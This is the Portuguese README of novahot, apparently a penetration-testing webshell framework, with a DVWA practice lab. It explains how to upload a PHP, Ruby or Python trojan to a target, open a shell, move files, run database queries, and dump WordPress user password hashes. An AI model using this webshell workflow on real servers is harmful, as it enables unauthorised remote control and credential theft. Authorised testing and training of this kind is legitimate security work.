
Um framework de webshell para testadores de penetração.
novahot é um framework de webshell para testadores de penetração. Ele implementa uma API baseada em JSON que pode se comunicar com trojans escritos em qualquer linguagem. Por padrão, ele vem com trojans escritos em PHP, Ruby e Python.
Além de executar comandos do sistema, o novahot é capaz de emular terminais interativos, incluindo mysql, sqlite3 e psql. Ele também implementa "comandos virtuais" que possibilitam fazer upload, download, editar e visualizar arquivos remotos localmente usando seus aplicativos preferidos.
Instale o executável diretamente do npm:
[sudo] npm install -g novahot
Em seguida, gere um arquivo de configuração:
novahot config > ~/.novahotrc
Veja os trojans disponíveis com novahot trojan list.
Selecione um trojan em uma linguagem apropriada para o seu alvo, depois copie seu código-fonte para um novo arquivo. (Ex: novahot trojan view basic.php > ~/my-trojan.php)
Altere a senha de controle no trojan recém-criado.
Faça upload do trojan para um local acessível via web no alvo.
Configure as informações do alvo na propriedade targets em ~/.novahotrc.
Execute novahot shell <target> para abrir um shell.
Internamente, o novahot usa "modos" e "adaptadores" para emular vários clientes interativos, atualmente incluindo os clientes mysql, psql (postgres) e sqlite3.
Para alterar o modo do novahot, use o "comando dot" apropriado:
.mysql { "username" : "mysql-user", "password" : "the-password", "database" : "the-database" }
(Os parâmetros de conexão podem ser especificados como JSON ao alterar os modos, ou alternativamente salvos como dados de configuração do alvo em ~/.novahotrc.)
Por exemplo, o modo mysql permite executar consultas diretamente como a seguinte:
mysql> SELECT ID, user_login, user_email, user_pass FROM wp_users;
Existe também um modo payload que pode ser usado para POSTar dados arbitrários ao trojan. Veja o wiki para mais informações.
O novahot implementa quatro "comandos virtuais" que utilizam payloads embutidos nos trojans para estender a funcionalidade do shell:
download <remote-filename> [<local-filename>]
Baixa <remote-filename> para --download-dir e, opcionalmente, renomeia para <local-filename> se especificado.
upload <local-filename> [<remote-filename>]
Envia <local-filename> para o cwd do shell e, opcionalmente, renomeia <local-filename> para <remote-filename> se especificado.
view <remote-filename> [<local-filename>]
Baixa <remote-filename> para --download-dir e, opcionalmente, renomeia para <local-filename>. Após o download, o arquivo será aberto pelo aplicativo "visualizador" especificado nas configurações.
edit <remote-filename>
Baixa <remote-filename> para um arquivo temporário e, em seguida, abre esse arquivo para edição usando o "editor" especificado nas configurações. Depois, se as alterações no arquivo forem salvas localmente, o arquivo será reenviado ao servidor automaticamente.
Este repositório contém um ambiente de laboratório construído com Vagrant, Docker e o Damn Vulnerable Web Application ("DVWA"). As etapas para provisionar o ambiente variam dependendo das capacidades do seu host físico.
Se você tiver o docker e o docker-compose instalados em seu host físico, basta fazer o seguinte:
cd para este repositóriodocker-compose upApós a inicialização do contêiner docker, o DVWA estará acessível em http://localhost:80.
Se o docker não estiver instalado em seu host físico, você pode usar Vagrant/Virtualbox para acessar uma máquina virtual com capacidade docker:
cd para este repositóriovagrant upvagrant sshsudo su; cd /vagrant; docker-compose upO DVWA estará acessível em http://localhost:8000.
Especifique as seguintes strings de conexão em seu arquivo ~/.novahotrc para conectar o cliente novahot ao trojan PHP embutido no contêiner DVWA:
{
"targets": {
"dvwa" : {
"uri" : "http://localhost:8000/novahot.php",
"password" : "the-password",
"mysql" : {
"username": "root",
"password": "vulnerables",
"database": "dvwa"
}
}
}
}
Você pode então estabelecer um webshell através de:
novahot shell dvwa
Informações adicionais podem ser encontradas no wiki: